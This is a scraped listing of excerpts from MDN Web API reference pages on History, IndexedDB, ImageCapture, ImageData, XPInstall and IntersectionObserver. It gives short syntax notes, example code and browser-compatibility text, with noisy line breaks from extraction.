...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlulistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLUnknownElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlunknownelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middl...
... living standard no
change from html5.
History.back() - Web APIs
this method is asyn
chronous.
... living standard no
change from html5.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetback
chrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera andr...
History.forward() - Web APIs
this method is asyn
chronous.
... living standard no
change from html5.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetforward
chrome full support yesedge full support 12firefox full support yesie full support 10opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera a...
History.replaceState() - Web APIs
syntax history.replacestate(stateobj, title, [url]) parameters stateobj the state object is a javascript object whi
ch is associated with the history entry passed to the replacestate method.
...passing the empty string here should be safe against future
changes to the method.
...then suppose https://www.mozilla.org/bar.html executes the following javascript: history.replacestate(stateobj, '', 'bar2.html'); this will cause the url bar to display https://www.mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even
check that bar2.html exists.
... living standard no
change from html5.
History.scrollRestoration - Web APIs
syntax const scrollrestore = history.scrollrestoration values auto the location on the page to whi
ch the user has scrolled will be restored.
... living standard no
change from html5.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollrestoration
chrome full support 46edge full support 79firefox full support 46ie no support noopera full support 33safari full support yeswebview android no support no
chrome android full support 46firefox android full support yesopera ...
IDBCursor.request - Web APIs
mlist'], 'readonly'); var objectstore = transaction.objectstore('rushalbumlist'); var request = objectstore.opencursor(); request.onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.append
child(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequest
chrome full support 76edge full support 79firefox full support 77ie no support noopera full support 63safari ?
... webview android full support 76
chrome android full support 76firefox android no support noopera android full support 54safari ios ?
IDBDatabase.name - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the name of the database, whi
ch should be "todolist" console.log(db.name); }; specifications specification status comment indexed database api 2.0the definition of 'name' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetname
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor p...
IDBDatabase.objectStoreNames - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, whi
ch should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenames
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.require...
IDBDatabase.version - Web APIs
this is used a lot below db = dbopenrequest.result; // this line will log the version of the connected database, whi
ch should be "4" console.log(db.version); }; specifications specification status comment indexed database api 2.0the definition of 'version' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetversion
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBFactory.cmp() - Web APIs
the cmp() method of the idbfactory interface compares two values as keys to determine equality and ordering for indexeddb operations, su
ch as storing and iterating.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmp
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— ?prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support ...
IDBIndexSync - Web APIs
important: the syn
chronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... the idbindexsync interface of the indexeddb api provides syn
chronous access to an index in a database.
...the range of the new cursor mat
ches the specified key range; if the key range is not specified or is null, then the range includes all the records.
...the range of the new cursor mat
ches the specified key range; if the key range is not specified or is null, then the range includes all the records.
IDBKeyRange.includes() - Web APIs
syntax var isincluded = mykeyrange.includes(key) parameters key the key you want to
check for in your key range.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetincludes
chrome full support 52edge full support ≤18firefox full support 47ie ?
... opera full support 39safari full support 10.1webview android full support 52
chrome android full support 52firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown ...
IDBKeyRange.lowerBound() - Web APIs
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.append
child(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lowerbound()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowerbound
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a v...
IDBKeyRange.only() - Web APIs
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.append
child(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'only' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonly
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor ...
IDBKeyRange.upperBound() - Web APIs
db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.append
child(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperbound()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetupperbound
chrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a v...
IDBMutableFile - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... note: this interface used to be called filehandle , but it was
changed to this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, su
ch an object is created using the idbdatabase.createmutablefile method.
... events handler mutablefile.onabort the abort event is triggered ea
ch time the handled file is aborted.
... mutablefile.onerror the error event is triggered ea
ch time something goes wrong.
IDBObjectStore.clear() - Web APIs
syntax var request = objectstore.clear(); returns an idbrequest object on whi
ch subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetclear
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet andr...
IDBObjectStore.delete() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelete
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet and...
IDBObjectStore.get() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetget
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet androi...
IDBObjectStore.getKey() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkey
chrome full support 48edge full support ≤79firefox full support 51ie ?
... opera full support 45safari full support 10.1webview android full support 48
chrome android full support 48firefox android full support 58opera android full support 43safari ios full support 10.3samsung internet android full support 5.0legend full support full support compatibility unknown ...
IDBObjectStore.keyPath - Web APIs
if this property is null, the application must provide a key for ea
ch modification operation.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetkeypath
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet an...
IDBObjectStore.openCursor() - Web APIs
return value an idbrequest object on whi
ch subsequent events related to this operation are fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetopencursor
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet...
IDBObjectStore.transaction - Web APIs
the transaction read-only property of the idbobjectstore interface returns the transaction object to whi
ch this object store belongs.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internettransaction
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung interne...
IDBOpenDBRequest.onblocked - Web APIs
this event is triggered when the upgradeneeded should be triggered because of a version
change but the database is still in use (that is, not closed) somewhere, even after the version
change event was sent.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonblocked
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
the event passed to the listener is an idbversion
changeevent.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonupgradeneeded
chrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkit
chrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung int...
IDBTransaction.commit() - Web APIs
commit() can be used to start the commit process without waiting for events from outstanding requests to be dispat
ched.
...jectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the
changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetcommit
chrome full support 76edge full support 79firefox full support 74ie no support noopera full support 63safari no support nowebview android full support 76
chrome android full support 76firefox android no support noopera android ...
IDBTransaction.objectStore() - Web APIs
note also the functions atta
ched to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstore
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for u...
IDBTransaction.onabort - Web APIs
note also the functions atta
ched to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabort
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IDBTransaction.onerror - Web APIs
note also the functions atta
ched to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerror
chrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yes
chrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IIRFilterNode() - Web APIs
the iirfilternode() constructor of the web audio api creates a new iirfilternode object whi
ch an audionode processor whi
ch implements a general infinite impulse response filter.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetiirfilternode() constructor
chrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before version 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
ImageCapture() constructor - Web APIs
syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack from whi
ch the still images will be taken.
... this can be any source, su
ch as an incoming stream of a video conference, a playing movie, or the stream from a webcam.
... return value a new imagecapture object whi
ch can be used to capture still frames from the specified video track.
... navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .cat
ch(error => console.log(error)); specifications specification status comment mediastream image capturethe definition of 'imagecapture' in that specification.
ImageCapture - Web APIs
constructor imagecapture() creates a new imagecapture object whi
ch can be used to capture still frames (photos) from a given mediastreamtrack whi
ch represents a video stream.
... example the following code is taken from
chrome's grab frame - take photo sample.
... var imagecapture; function ongetusermediabuttonclick() { navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .cat
ch(error => console.log(error)); } function ongrabframebuttonclick() { imagecapture.grabframe() .then(imagebitmap => { const canvas = document.queryselector('#grabframecanvas'); drawcanvas(canvas, imagebitmap); }) .cat
ch(error => console.log(error)); } function ontakephotobuttonclick() { imagecapture.takephoto() .then(blob => createimagebitmap(blob)) .then(imagebitmap => { ...
... const canvas = document.queryselector('#takephotocanvas'); drawcanvas(canvas, imagebitmap); }) .cat
ch(error => console.log(error)); } /* utils */ function drawcanvas(canvas, img) { canvas.width = getcomputedstyle(canvas).width.split('px')[0]; canvas.height = getcomputedstyle(canvas).height.split('px')[0]; let ratio = math.min(canvas.width / img.width, canvas.height / img.height); let x = (canvas.width - img.width * ratio) / 2; let y = (canvas.height - img.height * ratio) / 2; canvas.getcontext('2d').clearrect(0, 0, canvas.width, canvas.height); canvas.getcontext('2d').drawimage(img, 0, 0, img.width, img.height, x, y, img.width * ratio, img.height * ratio); } document.queryselector('video').addeventlistener('play', function() { document.queryselector('#grab...
ImageData() - Web APIs
this constructor is the preferred way of creating su
ch an object in a worker.
...if no su
ch array is given, an image with a transparent black rectangle of the specified width and height will be created.
... html <canvas id="canvas"></canvas> javascript the array (arr) has a length of 40000: it consists of 10,000 pixels, ea
ch of whi
ch is defined by 4 values.
... the imagedata constructor specifies a width of 200 for the new object, so its height defaults to 10,000 divided by 200, whi
ch is 50.
install - Web APIs
summary installs one or more xpi files on the local ma
chine.
... in the example below, a single installation object is created, but you can use this approa
ch to create multiple installations to pass to a single install.
... as with the older startsoftwareupdate method, xpis installed with this method must have their own install.js files in whi
ch the full installation is defined.
... example function xpinstallcallback(url, status) { if (status == 0) msg = "xpinstall test: passed\n"; else msg = "xpinstall test: failed\n"; dump(msg); alert(msg); } xpi={'xpinstall pre-
checkin test':'pre_
checkin.xpi'}; installtrigger.install(xpi,xpinstallcallback); ...
IntersectionObserver.observe() - Web APIs
the intersectionobserver method observe() adds an element to the set of target elements being wat
ched by the intersectionobserver.
... one observer has one set of thresholds and one root, but can wat
ch multiple target elements for visibility
changes in keeping with those.
... when the visibility of the specified element crosses over one of the observer's visibility thresholds (as listed in intersectionobserver.thresholds), the observer's callback is executed with an array of intersectionobserverentry objects representing the intersection
changes whi
ch occurred.
... note that this design allows multiple elements' intersection
changes to be processed by a single call to the callback.
IntersectionObserverEntry.intersectionRatio - Web APIs
the intersectionobserverentry interface's read-only intersectionratio property tells you how mu
ch of the target element is currently visible within the root's intersection ratio, as a value between 0.0 and 1.0.
... syntax var intersectionratio = intersectionobserverentry.intersectionratio; value a number between 0.0 and 1.0 whi
ch indicates how mu
ch of the target element is actually visible within the root's intersection rectangle.
... example in this simple example, an intersection callback sets ea
ch target element's opacity to the intersection ratio of that element with the root.
... function intersectioncallback(entries) { entries.forea
ch(function(entry) { entry.target.style.opacity = entry.intersectionratio; }); } to see a more concrete example, take a look at handling intersection
changes in timing element visibility with the intersection observer api.
IntersectionObserverEntry.intersectionRect - Web APIs
the intersectionobserverentry interface's read-only intersectionrect property is a domrectreadonly object whi
ch describes the smallest rectangle that contains the entire portion of the target element whi
ch is currently visible within the intersection root.
... syntax var intersectionrect = intersectionobserverentry.intersectionrect; value a domrectreadonly whi
ch describes the part of the target element that's currently visible within the root's intersection rectangle.
... this rectangle is computed by taking the intersection of boundingclientrect with ea
ch of the target's ancestors' clip rectangles, with the exception of the intersection root itself.
... function intersectioncallback(entries) { entries.forea
ch(function(entry) { refreshzones.push({ element: entry.target, rect: entry.intersectionrect }); }); } specifications specification status comment intersection observerthe definition of 'intersectionobserverentry.intersectionrect' in that specification.
IntersectionObserverEntry.target - Web APIs
the intersectionobserverentry interface's read-only target property indicates whi
ch targeted element has
changed its amount of intersection with the intersection root.
... syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies whi
ch element previously targeted by calling intersectionobserver.observe() experienced a
change in intersection with the root.
... example in this simple example, ea
ch targeted element's opacity is set to its intersectionratio.
... function intersectioncallback(entries) { entries.forea
